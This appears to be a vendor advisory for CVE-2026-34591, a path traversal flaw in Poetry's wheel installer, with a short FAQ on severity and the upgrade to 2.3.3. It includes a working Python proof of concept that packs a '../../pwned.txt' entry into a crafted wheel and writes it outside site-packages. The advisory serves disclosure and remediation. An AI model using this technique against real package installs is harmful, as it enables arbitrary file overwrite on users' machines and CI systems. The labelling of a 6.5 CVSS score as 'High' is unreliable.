CVE-2026-34591

A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process.

Details

Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path:

src/poetry/installation/wheel_installer.py:47
src/poetry/installation/wheel_installer.py:59

The vulnerable sink is reachable in normal installation:
src/poetry/installation/executor.py:607

No resolve() + is_relative_to() style guard is enforced before writing.

POC

from pathlib import Path
import tempfile, zipfile, sys
from installer import install
from installer.sources import WheelFile
from poetry.installation.wheel_installer import WheelDestination

root = Path(tempfile.mkdtemp(prefix="poetry-poc-"))
wheel = root / "evil-0.1-py3-none-any.whl"
base = root / "venv" / "lib" / "pythonX" / "site-packages"
for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]:
    d.mkdir(parents=True, exist_ok=True)

files = {
    "evil/__init__.py": b"",
    "../../pwned.txt": b"owned\n",
    "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n",
    "evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n",
}
files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode()

with zipfile.ZipFile(wheel, "w") as z:
    for k,v in files.items(): z.writestr(k,v)

dest = WheelDestination(
    {"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")},
    interpreter=sys.executable, script_kind="posix"
)
with WheelFile.open(wheel) as src:
    install(src, dest, {"INSTALLER": b"PoC"})

out = (base / "../../pwned.txt").resolve()
print("outside write:", out.exists(), out)

Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-34591 has a CVSS score of 6.5 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.3.3); upgrading removes the vulnerable code path.

Kodem intelligence

Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted.

1. What is CVE-2026-34591? CVE-2026-34591 is a high-severity path traversal vulnerability in poetry (pip), affecting versions >= 1.4.0, <= 2.3.2. It is fixed in 2.3.3. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-34591? CVE-2026-34591 has a CVSS score of 6.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of poetry are affected by CVE-2026-34591? poetry (pip) versions >= 1.4.0, <= 2.3.2 is affected.
4. Is there a fix for CVE-2026-34591? Yes. CVE-2026-34591 is fixed in 2.3.3. Upgrade to this version or later.
5. Is CVE-2026-34591 exploitable, and should I be worried? Whether CVE-2026-34591 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34591 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34591? Upgrade poetry to 2.3.3 or later.